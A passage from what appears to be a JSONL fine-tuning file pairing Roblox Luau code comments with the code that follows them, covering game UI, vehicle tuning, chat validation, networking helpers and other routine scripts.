pNum+1\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tplayers.CanvasSize = UDim2.new(0,0,0,pNum*20)\n\n\t\t\tlocal num = 0\n\t\t\tfor i,v in next,commands do\n\t\t\t\tif string.sub(string.lower(v),1,#nText) == string.lower(nText) or string.find(string.lower(v), string.match(string.lower(nText),\"^(.-)\"..splitKey) or string.lower(nText), 1, true) then\n\t\t\t\t\tif not scrollOpen then\n\t\t\t\t\t\tscrollOpenTween:Play();\n\t\t\t\t\t\t--frame.Size = UDim2.new(1,0,0,140)\n\t\t\t\t\t\tscroll.Visible = true\n\t\t\t\t\t\tplayers.Visible = true\n\t\t\t\t\t\tscrollOpen = true\n\t\t\t\t\tend\n\t\t\t\t\tlocal b = entry:Clone()\n\t\t\t\t\tb.Visible = true\n\t\t\t\t\tb.Parent = scroll\n\t\t\t\t\tb.Text = v\n\t\t\t\t\tb.Name = \"Entry \"..num\n\t\t\t\t\tb.Position = UDim2.new(0,0,0,20*num)\n\t\t\t\t\tb.MouseButton1Down:Connect(function()\n\t\t\t\t\t\ttext.Text = b.Text\n\t\t\t\t\t\ttext:CaptureFocus()\n\t\t\t\t\tend)\n\t\t\t\t\tnum = num+1\n\t\t\t\tend\n\t\t\tend\n\t\t\tframe.Size = UDim2.new(1, 0, 0, math.clamp((num*20)+40, 40, 140))\n\t\t\tscroll.CanvasSize = UDim2.new(0,0,0,num*20)\n\t\telseif c == 'Text' and text.Text == '' and opened then\n\t\t\tscrollCloseTween:Play();\n\t\t\t--service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end)\n\t\t\tscroll.Visible = false\n\t\t\tplayers.Visible = false\n\t\t\tscrollOpen = false\n\t\t\tscroll:ClearAllChildren()\n\t\t\tscroll.CanvasSize = UDim2.new(0,0,0,0)\n\t\tend\n\tend)\n\n\tBindEvent(service.UserInputService.InputBegan, function(InputObject)\n\t\tlocal textbox = service.UserInputService:GetFocusedTextBox()\n\t\tif not (textbox) and rawequal(InputObject.UserInputType, Enum.UserInputType.Keyboard) and InputObject.KeyCode.Name == (client.Variables.CustomConsoleKey or consoleKey) then\n\t\t\tif opened then\n\t\t\t\tclose()\n\t\t\telse\n\t\t\t\topen()\n\t\t\tend\n\t\t\tclient.Variables.ConsoleOpen = opened\n\t\tend\n\tend)\n\n\tgTable:Ready()\nend\n"} +{"prompt": "--------- DEFAULTS ---------", "completion": "\n\nlocal defaults = {}\n"} +{"prompt": "---------------\n--// Code\n---------------", "completion": "\nwhile true do\n\n\ttask.wait()\n\n\tcount1 = count1 + 0.001*speed\n\tcount2 = count2 + 0.001*speed2\n\n\tif count1 > 1 then\n\t\tcount1 = 0\n\tend\n\n\tif count2 > 1 then\n\t\tcount2 = 0\n\tend\n\t\n\tlocal Color1 = ColorSequenceKeypoint.new(0, Color3.fromHSV(count1,1,1))\n\tlocal Color2 = ColorSequenceKeypoint.new(1, Color3.fromHSV(count2,1,1))\n\t\n\tlocal Color4 = ColorSequenceKeypoint.new(1, Color3.fromHSV(count1,1,1))\n\tlocal Color5 = ColorSequenceKeypoint.new(0, Color3.fromHSV(count2,1,1))\n\n\t\n\tfor i,v in pairs(script.Parent:GetChildren()) do\n\t\tif v:IsA(\"SurfaceGui\") then\n\t\t\t\n\t\t\tif v.Name == \"Top\" then\n\t\t\t\tv.Frame.UIGradient.Color = ColorSequence.new({Color5, Color2})\n\n\t\t\telseif v.Name == \"Bottom\" then\n\t\t\t\tv.Frame.UIGradient.Color = ColorSequence.new({Color1, Color4})\n\n\t\t\telse\n\t\t\t\t\n\t\t\t\tv.Frame.UIGradient.Color = ColorSequence.new({Color1, Color2})\n\t\t\tend\n\t\t\t\n\t\tend\n\tend\n\n\n\nend\n"} +{"prompt": "-- ROBLOX FIXME: Can we define ClientChatModules statically in the project config", "completion": "\npcall(function() ChatLocalization = require((game:GetService(\"Chat\") :: any).ClientChatModules.ChatLocalization :: any) end)\nif ChatLocalization == nil then ChatLocalization = {} end\nif not ChatLocalization.FormatMessageToSend or not ChatLocalization.LocalizeFormattedMessage then\n\tfunction ChatLocalization:FormatMessageToSend(key,default) return default end\nend\n\nlocal MAX_BYTES_PER_UTF8_CODEPOINT = 6\nlocal DISALLOWED_WHITESPACE = {\"\\n\", \"\\r\", \"\\t\", \"\\v\", \"\\f\"}\n\nif ChatSettings.DisallowedWhiteSpace then\n\tDISALLOWED_WHITESPACE = ChatSettings.DisallowedWhiteSpace\nend\n\nlocal function isMessageValidServer(msg)\n -- worst-case byte length check - fast for large strings\n if msg:len() > ChatSettings.MaximumMessageLength*MAX_BYTES_PER_UTF8_CODEPOINT then\n return false\n end\n \n -- check for invalid unicode sequence\n -- avoid normalizing first because utf8.nfcnormalize throws for invalid sequences\n if utf8.len(msg) == nil then\n return false\n end\n \n -- check codepoint length\n if utf8.len(utf8.nfcnormalize(msg)) > ChatSettings.MaximumMessageLength then\n return false\n end\n \n return true\nend\n\nlocal function CanUserChat(playerObj)\n\tif RunService:IsStudio() then\n\t\treturn true\n\tend\n\tlocal success, canChat = pcall(function()\n\t\treturn Chat:CanUserChatAsync(playerObj.UserId)\n\tend)\n\treturn success and canChat\nend\n\nlocal function Run(ChatService)\n\tlocal function ValidateChatFunction(speakerName, message, channel)\n\t\tlocal speakerObj = ChatService:GetSpeaker(speakerName)\n\t\tlocal playerObj = speakerObj:GetPlayer()\n\t\tif not speakerObj then return false end\n\t\tif not playerObj then return false end\n\n\t\tif not RunService:IsStudio() and playerObj.UserId < 1 then\n\t\t\treturn true\n\t\tend\n\n\t\tif not CanUserChat(playerObj) then\n\t\t\tspeakerObj:SendSystemMessage(ChatLocalization:FormatMessageToSend(\n\t\t\t\t\"GameChat_ChatMessageValidator_SettingsError\",\n\t\t\t\t\"Your chat settings prevent you from sending messages.\"\n\t\t\t), channel)\n\t\t\treturn true\n\t\tend\n\n\t\tif not isMessageValidServer(message) then\n\t\t\tlocal localizedError = ChatLocalization:FormatMessageToSend(\n\t\t\t\t\"GameChat_ChatMessageValidator_MaxLengthError\",\n\t\t\t\t\"Your message exceeds the maximum message length.\"\n\t\t\t)\n\t\t\tspeakerObj:SendSystemMessage(localizedError, channel)\n\t\t\treturn true\n\t\tend\n\n\t\tfor _, whitespace in pairs(DISALLOWED_WHITESPACE) do\n\t\t\tif message:find(whitespace) then\n\t\t\t\tspeakerObj:SendSystemMessage(ChatLocalization:FormatMessageToSend(\n\t\t\t\t\t\"GameChat_ChatMessageValidator_WhitespaceError\",\n\t\t\t\t\t\"Your message contains whitespace that is not allowed.\"\n\t\t\t\t), channel)\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\n\t\treturn false\n\tend\n\n\tChatService:RegisterProcessCommandsFunction(\"message_validation\", ValidateChatFunction, ChatConstants.VeryHighPriority)\nend\n\nreturn Run\n"} +{"prompt": "--[=[\n\tRuns the given callback once an instance has been parented to the DataModel.\n\n\tThis is used in particular for adding Gamepad support because Setting\n\t[GuiService.SelectedObject] requires that an instance be fully parented to\n\tthe DM, which isn't always a guarantee with Roact.\n\n\t@within Modules\n]=]", "completion": "\nlocal function onInstanceLoaded(instance: Instance, callback: () -> ())\n\ttask.spawn(function()\n\t\twhile not instance:IsDescendantOf(game) do\n\t\t\tinstance.AncestryChanged:Wait()\n\t\tend\n\n\t\tcallback()\n\tend)\nend\n\nreturn onInstanceLoaded\n"} +{"prompt": "-- The name of the folder containing the 3D GUI elements for visualizing casts in debug mode.", "completion": "\nlocal FC_VIS_OBJ_NAME = \"FastCastVisualizationObjects\"\n"} +{"prompt": "-- Client:", "completion": "\n\nnetwork.onClientEvent = function(name,callback)\n\treturn get(name).OnClientEvent:Connect(callback);\nend\n\nfunction network:invoke(name,...)\n\treturn get(name):InvokeServer(...);\nend\n\nfunction network:fire(name,...)\n\tget(name):FireServer(...);\nend\n\nreturn network;\n"} +{"prompt": "-- create arrow", "completion": "\nlocal p = Instance.new(\"Part\")\np.formFactor = 2\np.Size = Vector3.new(1,.4,1)\np.Transparency = .5\np.BrickColor = BrickColor.new(119)\np.CanCollide = false\np.Locked = true\np.RotVelocity = Vector3.new(math.random(), math.random(), math.random()) * 10\nlocal v = Vector3.new(script.Parent.Torso.CFrame.lookVector.x, 0, script.Parent.Torso.CFrame.lookVector.z)\n\np.CFrame = CFrame.new(script.Parent.Torso.CFrame.p + v * 8, v.unit)\n\nlocal m = script.ArrowMesh:Clone() -- NASTY\nm.Parent = p\n\n\n\nlocal b = Instance.new(\"BodyPosition\")\nb.position = p.Position\nb.Parent = p\n\nlocal g = Instance.new(\"BodyGyro\")\ng.cframe = CFrame.new(Vector3.new(0,0,0), Vector3.new(0,0,1)) -- point North\ng.maxTorque = Vector3.new(7e7, 7e7, 7e7)\ng.Parent = p\n\n\n\np.Parent = game.Workspace\n\n\n\n\n\n\n\ndebris:AddItem(p, 10)\n\n\nwait(5)\n\nscript.Parent = nil\n"} +{"prompt": "--// F key, HornOn", "completion": "\nmouse.KeyDown:connect(function(key)\n\tif key==\"h\" then \n\t\tveh.Lightbar.middle.Airhorn:Play()\n\t\tveh.Lightbar.middle.Wail.Volume = 0\n\t\tveh.Lightbar.middle.Yelp.Volume = 0\n\t\tveh.Lightbar.middle.Priority.Volume = 0 \t\n\tend\nend)\n"} +{"prompt": "--damage values", "completion": "\n\ndamagelimbs = {\n\t[\"Left Arm\"] = 15,\n\t[\"Right Arm\"] = 15,\n\t[\"Left Leg\"] = 25,\n\t[\"Right Leg\"] = 25,\n\t[\"Torso\"] = 35,\n\t[\"HumanoidRootPart\"] = 35,\n\t[\"UpperTorso\"] = 35,\n\t[\"LowerTorso\"] = 30,\n\t[\"Head\"] = 80,\n}\n"} +{"prompt": "--print(animName .. \" \" .. idx .. \" [\" .. origRoll .. \"]\")", "completion": "\nlocal anim = animTable[animName][idx].anim"} +{"prompt": "--\tend", "completion": "\n\t\n\tif spd > 140 then\nif carSeat.Steer == 0 then\n\tif m == false then\n\tm = true\n\tlocal lockL = Instance.new(\"Motor\")\n\tlockL.Parent = carSeat.Parent.Parent.LW.ML\n\tlockL.Part0 = carSeat.Parent.Parent.LW.ML\n\tlockL.Part1 = carSeat.Parent.Parent.Suspension.ML\n\tend\nelse\n\tif m == true then\n\t\tm = false\n\tcarSeat.Parent.Parent.LW.ML.Motor:remove()\n\tend\nend\n\telse\n\t\tif m == true and occ == false then\n\t\tm = false\n\tcarSeat.Parent.Parent.LW.ML.Motor:remove()\n\tend\nend\nend\n"} +{"prompt": "---////==========================================\\\\\\---\t\n--To install the product, group them together with the switch. You can have multiple products installed and be controlled by one switch!--\n--Products include, but not limited to: some fans, lights, alarms, etc. \n---////==========================================\\\\\\---\t", "completion": "\nIsOn = false\nfunction onClicked()\n\tif IsOn == false then\n\tIsOn = true\t\n \tscript.Parent.Parent.Switch2.Transparency = 1\n\tscript.Parent.Parent.Switch1.Transparency = 0\n\tscript.Parent.Parent.IsOn.Value = true\t\n\telseif IsOn == true then\n\tIsOn = false\t\n\tscript.Parent.Parent.Switch2.Transparency = 0.1\n\tscript.Parent.Parent.Switch1.Transparency = 1\n\tscript.Parent.Parent.IsOn.Value = false\n\tend\nend\nscript.Parent.ClickDetector.MouseClick:connect(onClicked)\n"} +{"prompt": "--[[\n\n\tLOWGames Studios\n\tDate: 27 October 2022\n\tby Elder\n\t\n]]", "completion": "--\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nend)();\nreturn function(p1, p2)\n\tif type(p1) ~= \"table\" then\n\t\tp1 = { p1 };\n\telseif typeof(p1) == \"Instance\" then\n\t\tp1 = p1:GetChildren();\n\tend;\n\tfor v4, v5 in ipairs(p1) do \n\t\tlocal v6 = nil;\n\t\tlocal v7 = nil;\n\t\tif v5.ClassName == \"Model\" and v5.PrimaryPart then\n\t\t\tv6 = v5.PrimaryPart;\n\t\t\tv7 = v6.CFrame;\n\t\telseif v5:IsA(\"BasePart\") then\n\t\t\tv6 = v5;\n\t\t\tv7 = v5.CFrame;\n\t\t\tv5.Size = v5.Size * p2;\n\t\tend;\n\t\tfor v8, v9 in pairs(v5:GetDescendants()) do\n\t\t\tif v9:IsA(\"BasePart\") then\n\t\t\t\tv9.Size = v9.Size * p2;\n\t\t\t\tif not v6 then\n\t\t\t\t\tv6 = v9;\n\t\t\t\t\tv7 = v9.CFrame;\n\t\t\t\telseif v9 ~= v6 then\n\t\t\t\t\tv9.CFrame = (v7 + v7:inverse() * v9.CFrame.p * p2) * CFrame.Angles(v9.CFrame:toEulerAnglesXYZ());\n\t\t\t\tend;\n\t\t\telseif v9.ClassName == \"Attachment\" then\n\t\t\t\tv9.Position = v9.Position * p2;\n\t\t\telseif v9.ClassName == \"ParticleEmitter\" then\n\t\t\t\tu1.Functions.ScaleParticle(v9, p2);\n\t\t\telseif v9.ClassName == \"SpecialMesh\" then\n\t\t\t\tv9.Scale = v9.Scale * p2;\n\t\t\tend;\n\t\tend;\t\n\tend\nend;\n"} +{"prompt": "--[[\n\tCalculate success, failure, and skipped test counts in the tree at the\n\tcurrent point in the execution.\n]]", "completion": "\nfunction TestSession:calculateTotals()\n\tlocal results = self.results\n\n\tresults.successCount = 0\n\tresults.failureCount = 0\n\tresults.skippedCount = 0\n\n\tresults:visitAllNodes(function(node)\n\t\tlocal status = node.status\n\t\tlocal nodeType = node.planNode.type\n\n\t\tif nodeType == TestEnum.NodeType.It then\n\t\t\tif status == TestEnum.TestStatus.Success then\n\t\t\t\tresults.successCount = results.successCount + 1\n\t\t\telseif status == TestEnum.TestStatus.Failure then\n\t\t\t\tresults.failureCount = results.failureCount + 1\n\t\t\telseif status == TestEnum.TestStatus.Skipped then\n\t\t\t\tresults.skippedCount = results.skippedCount + 1\n\t\t\tend\n\t\tend\n\tend)\nend\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nLift = This.Parent.Parent.Parent\nCustomLabel = require(Lift.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nLift:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tSetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetDisplay(ID,CHAR)\n\tif This.Display:FindFirstChild(\"DIG\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tfor r=1,7 do\t\n\t\t\t\tThis.Display[\"DIG\"..ID][\"D\"..r].BrickColor = (l:sub(r,r) == \"1\" and BrickColor.new(\"Dark green\") or BrickColor.new(\"Really black\"))\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "-- periodically re-join the studs to the center", "completion": "\nwhile true do\n\twait(30)\n\tlocal cf = center.CFrame\n\trebuildStud(top, cf * CFrame.new(0,3,0))\n\trebuildStud(bottom, cf * CFrame.new(0,-3,0))\n\trebuildStud(left, cf * CFrame.new(3,0,0))\n\trebuildStud(right, cf * CFrame.new(-3,0,0))\n\trebuildStud(front, cf * CFrame.new(0,0,-3))\n\trebuildStud(back, cf * CFrame.new(0,0,3))\nend\n\n"} +{"prompt": "--fs.Reflectance = (val1.Value-120)*0.01\n--bs.Reflectance = (val1.Value-120)*0.01", "completion": "\nend\nif val1.Value > 130 and val1.Value <= 135 then\nch1m.MaxVelocity = 0.65-(val1.Value-125)*0.005\nch2m.MaxVelocity = 0.65-(val1.Value-125)*0.005\nch3m.MaxVelocity = 0.65-(val1.Value-125)*0.005\nfs.Transparency = 1-(val1.Value-120)*0.01\nbs.Transparency = 1-(val1.Value-120)*0.01"} +{"prompt": "-- Local functions", "completion": "\n\nlocal function FormatThousands(n) -- Credit to http://richard.warburton.it\n\tlocal left, num, right = string.match(n, '^([^%d]*%d)(%d*)(.-)$')\n\treturn left .. (num:reverse():gsub('(%d%d%d)','%1,'):reverse()) .. right\nend\n\nlocal function ConvertToShortNum(number)\n\tlocal exponent = math.floor(math.log10(number))\n\t\n\t-- Check if the number is too short\t\n\tif (exponent <= 2) then\n\t\treturn tostring(number)\n\tend\n\t-- Create a table for the symbols\n\tlocal symbols = {\n\t\t[1] = { \"3\", \"k\" }, [2] = { \"6\", \"M\" }, [3] = { \"9\", \"G\" },\n\t\t[4] = { \"12\", \"T\" }, [5] = { \"15\", \"P\" }, [6] = { \"18\", \"E\" },\n\t\t[7] = { \"21\", \"Z\" }, [8] = { \"24\", \"Y\" }\t\n\t}\n\t\n\tlocal suffix = \"\"\n\tlocal currentExponent = 1\n\t\t\t\n\t-- Loop through the symbols\n\tfor index = 1, #symbols do\n\t\tlocal info = symbols[index] \n\t\t\n\t\t-- Check if the index is not the last entry in the table\n\t\tif (index ~= #symbols) then\t\t\t\n\t\t\t-- Check if the symbol's exponent is less than the number's\n\t\t\tif (exponent >= tonumber(info[1])) then\n\t\t\t\t-- Change the last exponent and suffix to the current symbol's\n\t\t\t\tcurrentExponent = tonumber(info[1])\n\t\t\t\tsuffix = info[2]\n\t\t\t\t\n\t\t\t\t-- Continue so that the loop does not break\n\t\t\t\tcontinue\n\t\t\tend\n\t\t\t\n\t\t\t-- Break as the symbol's exponent is greater than the numbers\n\t\t\tbreak\n\t\tend\n\tend\n\t\n\t-- Get the divisor and the final string\n\tlocal divisor = math.pow(10, currentExponent)\t\n\tlocal str =\t(\"%.2f%s\"):format(number / divisor, suffix) \t\n\t\n\t-- Return the string\t\t\t\t\t\t\n\treturn str\nend\n"} +{"prompt": "--[[\n\tPerforms property validation if the static method validateProps is declared.\n\tvalidateProps should follow assert's expected arguments:\n\t(false, message: string) | true. The function may return a message in the\n\ttrue case; it will be ignored. If this fails, the function will throw the\n\terror.\n]]", "completion": "\nfunction Component:__validateProps(props)\n\tif not config.propValidation then\n\t\treturn\n\tend\n\n\tlocal validator = self[InternalData].componentClass.validateProps\n\n\tif validator == nil then\n\t\treturn\n\tend\n\n\tif typeof(validator) ~= \"function\" then\n\t\terror((\"validateProps must be a function, but it is a %s.\\nCheck the definition of the component %q.\"):format(\n\t\t\ttypeof(validator),\n\t\t\tself.__componentName\n\t\t))\n\tend\n\n\tlocal success, failureReason = validator(props)\n\n\tif not success then\n\t\tfailureReason = failureReason or \"\"\n\t\terror((\"Property validation failed: %s\\n\\n%s\"):format(\n\t\t\ttostring(failureReason),\n\t\t\tself:getElementTraceback() or \"\"),\n\t\t0)\n\tend\nend\n"} +{"prompt": "-- (Hat Giver Script - Loaded.)", "completion": "\n\ndebounce = true\n\nfunction onTouched(hit)\n\tif (hit.Parent:findFirstChild(\"Humanoid\") ~= nil and debounce == true) then\n\t\tdebounce = false\n\t\th = Instance.new(\"Hat\")\n\t\tp = Instance.new(\"Part\")\n\t\th.Name = \"Fairy Wings\"\n\t\tp.Parent = h\n\t\tp.Position = hit.Parent:findFirstChild(\"Head\").Position\n\t\tp.Name = \"Handle\" \n\t\tp.formFactor = 0\n\t\tp.Size = Vector3.new(2,2,2) \n\t\tp.BottomSurface = 0 \n\t\tp.TopSurface = 0 \n\t\tp.Locked = true \n\t\tscript.Parent.Mesh:clone().Parent = p\n\t\th.Parent = hit.Parent\n\t\th.AttachmentForward = Vector3.new(-0, -0, -1)\n\t\th.AttachmentPos = Vector3.new(0, 1.45, -1.7)\n\t\th.AttachmentRight = Vector3.new(1, 0, 0)\n\t\th.AttachmentUp = Vector3.new(0, 1, 0)\n\t\twait(5)\n\t\tdebounce = true\n\tend\nend\n\nscript.Parent.Touched:connect(onTouched)\n\n"} +{"prompt": "--[[\n\tp1 = Instance.new(\"Part\")\n\tp1.FormFactor = \"Custom\"\n\tp1.Size = Vector3.new(0,0,0)\n\tp1.Name = \"Aimer\" \n\tp1.Transparency = 0.5 \n\tmesh = Instance.new(\"BlockMesh\")\n\tmesh.Parent = p1\n\tmesh.Scale = Vector3.new(0.5,0.5,8)\n\tmesh.Offset = Vector3.new(0,0,-1) \n\tp1.Anchored = true\n\tp1.CanCollide = false\n\tp1.BrickColor = BrickColor.new(\"Institutional white\")\n\tp2 = p1:clone()\n\tp3 = p1:clone()\n\tp4 = p1:clone()\n\t]]", "completion": "\nenabled = true\ndown = false\nmouser = game.Players.LocalPlayer:GetMouse() "} +{"prompt": "-- New", "completion": "\nfunction StringLabel.new(label)\n\tlocal newStringLabel = {}\n\tsetmetatable(newStringLabel, StringLabel)\n\t\n\tnewStringLabel._textLabel = label\n\tnewStringLabel._textFrame = nil\n\tnewStringLabel._characters = {}\n\tnewStringLabel._characterLabels = {}\n\tnewStringLabel._oldCharacterLabels = {}\n\tnewStringLabel._lastChangedTime = 0\n\tnewStringLabel._lastAbsolutePosition = nil\n\tnewStringLabel._lastAbsoluteSize = nil\n\tnewStringLabel._lastAbsolutePositionUpdateTime = 0\n\tnewStringLabel._lastAbsoluteSizeUpdateTime = 0\n\n\tsetup(newStringLabel)\n\t\n\tif label.Text ~= \"\" then\n\t\tif label.AbsoluteSize.X > 0 and label.AbsoluteSize.Y > 0 then\n\t\t\tupdate(newStringLabel)\n\t\telse\n\t\t\tdelay(1, function()\n\t\t\t\tupdate(newStringLabel)\n\t\t\tend)\n\t\tend\n\tend\n\t\n\treturn newStringLabel\nend\n\nreturn StringLabel\n"} +{"prompt": "-- / Actions / --", "completion": "\nlocal Swing = Humanoid:LoadAnimation(SwingAnimation)\n\nlocal Settings = {\n\tDamage = 10,\n\tOnCD = false,\n\tCDTime = 0.5\n}\n\nlocal DamageBlacklist = {\n\t\n}\n"} +{"prompt": "-- This enables data on volumes, HumanoidRootParts, etc to be handled on an event-basis, instead of being retrieved every interval", "completion": "\n"} +{"prompt": "----", "completion": "\nlocal FOV = 80\t\t\t\t-- HOW MUCH YOU WANT CAMERA TO ZOOM IN. 70 IS DEFAULT. SMALLER NUMBER = MORE ZOOM\nlocal cooldowntime = .0\t\t-- HOW LONG BEFORE THEY CAN ZOOM IN/OUT AGAIN.\nlocal KEYBIND = Enum.KeyCode.R\t-- CHANGE E TO WHATEVER KEY YOU WANT THEM TO PRESS TO ZOOM."} +{"prompt": "-- url : (string)\n-- customHeaders : (dictionary, optional)\n-- returns : (promise)", "completion": "\nfunction Networking:GET(url, customHeaders)\n\tif not customHeaders then\n\t\tcustomHeaders = self._headers\n\tend\n\n\tassert(type(url) == \"string\", \"expected 'url' to be a string\")\n\tassert(type(customHeaders) == \"table\", \"expected 'customHeaders' to be a dictionary\")\n\n\tlocal httpFunc = function()\n\t\treturn self._httpImpl:RequestAsync({\n\t\t\tUrl = url,\n\t\t\tMethod = \"GET\",\n\t\t\tHeaders = customHeaders,\n\t\t})\n\tend\n\n\treturn commonHttpHandler(url, httpFunc)\nend\n\n"} +{"prompt": "-- ROBLOX FIXME: these *should* return a function, but they don't. we're misaligned on types and implementation here", "completion": "\nlocal function getReceivedColorForChalkInstance(chalkInstance: Chalk): any --: DiffOptionsColor\n\t-- return function(_: string): string\n\tlocal level = chalkInstance.level\n\n\tif level == 3 then\n\t\treturn chalkInstance.rgb(bForeground3[1], bForeground3[2], bForeground3[3])\n\t\t\t.. chalkInstance.bgRgb(bBackground3[1], bBackground3[2], bBackground3[3])\n\tend\n\n\tif level == 2 then\n\t\treturn chalkInstance.ansi256(bForeground2) .. chalkInstance.bgAnsi256(bBackground2)\n\tend\n\n\treturn chalkInstance.cyan .. chalk.bgWhiteBright -- also known as teal\n\t-- end\nend\n\nlocal aSnapshotColor = getSnapshotColorForChalkInstance(chalk)\nlocal bReceivedColor = getReceivedColorForChalkInstance(chalk)\n\nlocal function noColor(string_: string)\n\treturn string_\nend\n\nlocal HINT_ARG = \"hint\"\nlocal SNAPSHOT_ARG = \"snapshot\"\nlocal PROPERTIES_ARG = \"properties\"\n\nlocal function matcherHintFromConfig(matchSnapshotConfig: MatchSnapshotConfig, isUpdatable: boolean): string\n\tlocal context = matchSnapshotConfig.context\n\tlocal hint = matchSnapshotConfig.hint\n\tlocal inlineSnapshot = matchSnapshotConfig.inlineSnapshot\n\tlocal matcherName = matchSnapshotConfig.matcherName\n\tlocal properties = matchSnapshotConfig.properties\n\n\tlocal options: MatcherHintOptions = {\n\t\tisNot = context.isNot,\n\t\tpromise = context.promise,\n\t}\n\tif isUpdatable then\n\t\toptions.receivedColor = bReceivedColor\n\tend\n\n\tlocal expectedArgument = \"\"\n\n\tif typeof(properties) == \"table\" then\n\t\texpectedArgument = PROPERTIES_ARG\n\t\tif isUpdatable then\n\t\t\toptions.expectedColor = noColor\n\t\tend\n\n\t\tif typeof(hint) == \"string\" and #hint ~= 0 then\n\t\t\toptions.secondArgument = HINT_ARG\n\t\t\toptions.secondArgumentColor = BOLD_WEIGHT\n\t\telseif typeof(inlineSnapshot) == \"string\" then\n\t\t\toptions.secondArgument = SNAPSHOT_ARG\n\t\t\tif isUpdatable then\n\t\t\t\toptions.secondArgumentColor = aSnapshotColor\n\t\t\telse\n\t\t\t\toptions.secondArgumentColor = noColor\n\t\t\tend\n\t\tend\n\telse\n\t\tif typeof(hint) == \"string\" and #hint ~= 0 then\n\t\t\texpectedArgument = HINT_ARG\n\t\t\toptions.expectedColor = BOLD_WEIGHT\n\t\telseif typeof(inlineSnapshot) == \"string\" then\n\t\t\texpectedArgument = SNAPSHOT_ARG\n\t\t\tif isUpdatable then\n\t\t\t\toptions.expectedColor = aSnapshotColor\n\t\t\tend\n\t\tend\n\tend\n\n\treturn matcherHint(matcherName, nil, expectedArgument, options)\nend\n"} +{"prompt": "--Front Suspension", "completion": "\nTune.FSusDamping\t= 401\t\t-- Spring Dampening\nTune.FSusStiffness\t= 17000\t\t-- Spring Force\nTune.FAntiRoll \t\t= 22.92\t\t-- Anti-Roll (Gyro Dampening)\n\nTune.FSusLength\t\t= 1.9\t\t\t-- Suspension length (in studs)\nTune.FPreCompress\t= .15\t\t-- Pre-compression adds resting length force\nTune.FExtensionLim\t= .3\t\t-- Max Extension Travel (in studs)\nTune.FCompressLim\t= .05\t\t-- Max Compression Travel (in studs)\nTune.FSusAngle\t\t= 54\t\t-- Suspension Angle (degrees from horizontal)\n\nTune.FWsBoneLen\t\t= 6\t\t\t-- Wishbone Length\nTune.FWsBoneAngle\t= 3\t\t\t-- Wishbone angle (degrees from horizontal)\nTune.FAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t--[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t--[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t--[[Forward]]\t\t0\t\t}\t-- positive = forward\n"} +{"prompt": "-- Generated by EramsorGR in order to organize the core systems a tiny bit more-- cringe\n--i also did this ~wild", "completion": "\n\nlocal module = {}\n\n"} +{"prompt": "------------------\n--| Clock Loop |--\n------------------", "completion": "\n\nwhile true do\n\tif Running and TimeObject.Value >= 0 then -- Change TimeObject's Value by how much time has passed\n\t\tlocal now = tick()\n\t\tlocal deltaTime = now - LastTime\n\t\tif CountingDown then\n\t\t\tTimeObject.Value = TimeObject.Value - deltaTime\n\t\telse\n\t\t\tTimeObject.Value = TimeObject.Value + deltaTime\n\t\tend\n\t\tLastTime = now\n\tend\n\twait()\nend\n"} +{"prompt": "--\n-- Verify that everything is where it should be", "completion": "\n assert(Self:FindFirstChild'Humanoid' ~= nil, 'Monster does not have a humanoid')\n assert(Settings ~= nil, 'Monster does not have a Configurations object')\n\tassert(Settings:FindFirstChild'MaximumDetectionDistance' ~= nil and Settings.MaximumDetectionDistance:IsA'NumberValue', 'Monster does not have a MaximumDetectionDistance (NumberValue) setting')\n\tassert(Settings:FindFirstChild'CanGiveUp' ~= nil and Settings.CanGiveUp:IsA'BoolValue', 'Monster does not have a CanGiveUp (BoolValue) setting')\n\tassert(Settings:FindFirstChild'CanRespawn' ~= nil and Settings.CanRespawn:IsA'BoolValue', 'Monster does not have a CanRespawn (BoolValue) setting')\n\tassert(Settings:FindFirstChild'SpawnPoint' ~= nil and Settings.SpawnPoint:IsA'Vector3Value', 'Monster does not have a SpawnPoint (Vector3Value) setting')\n\tassert(Settings:FindFirstChild'AutoDetectSpawnPoint' ~= nil and Settings.AutoDetectSpawnPoint:IsA'BoolValue', 'Monster does not have a AutoDetectSpawnPoint (BoolValue) setting')\n\tassert(Settings:FindFirstChild'FriendlyTeam' ~= nil and Settings.FriendlyTeam:IsA'BrickColorValue', 'Monster does not have a FriendlyTeam (BrickColorValue) setting')\n\tassert(Settings:FindFirstChild'AttackDamage' ~= nil and Settings.AttackDamage:IsA'NumberValue', 'Monster does not have a AttackDamage (NumberValue) setting')\n\tassert(Settings:FindFirstChild'AttackFrequency' ~= nil and Settings.AttackFrequency:IsA'NumberValue', 'Monster does not have a AttackFrequency (NumberValue) setting')\n\tassert(Settings:FindFirstChild'AttackRange' ~= nil and Settings.AttackRange:IsA'NumberValue', 'Monster does not have a AttackRange (NumberValue) setting')\n assert(Mind ~= nil, 'Monster does not have a Mind object')\n\tassert(Mind:FindFirstChild'CurrentTargetHumanoid' ~= nil and Mind.CurrentTargetHumanoid:IsA'ObjectValue', 'Monster does not have a CurrentTargetHumanoid (ObjectValue) mind setting')\nassert(script:FindFirstChild'Attack' and script.Attack:IsA'Animation', 'Monster does not have a MonsterScript.Attack Animation')\n\n"} +{"prompt": "--// DON'T EDIT BELOW", "completion": "\n\nlocal target = plr.Character.HumanoidRootPart\n\nlocal vel,pvel = script.Parent.Vel , 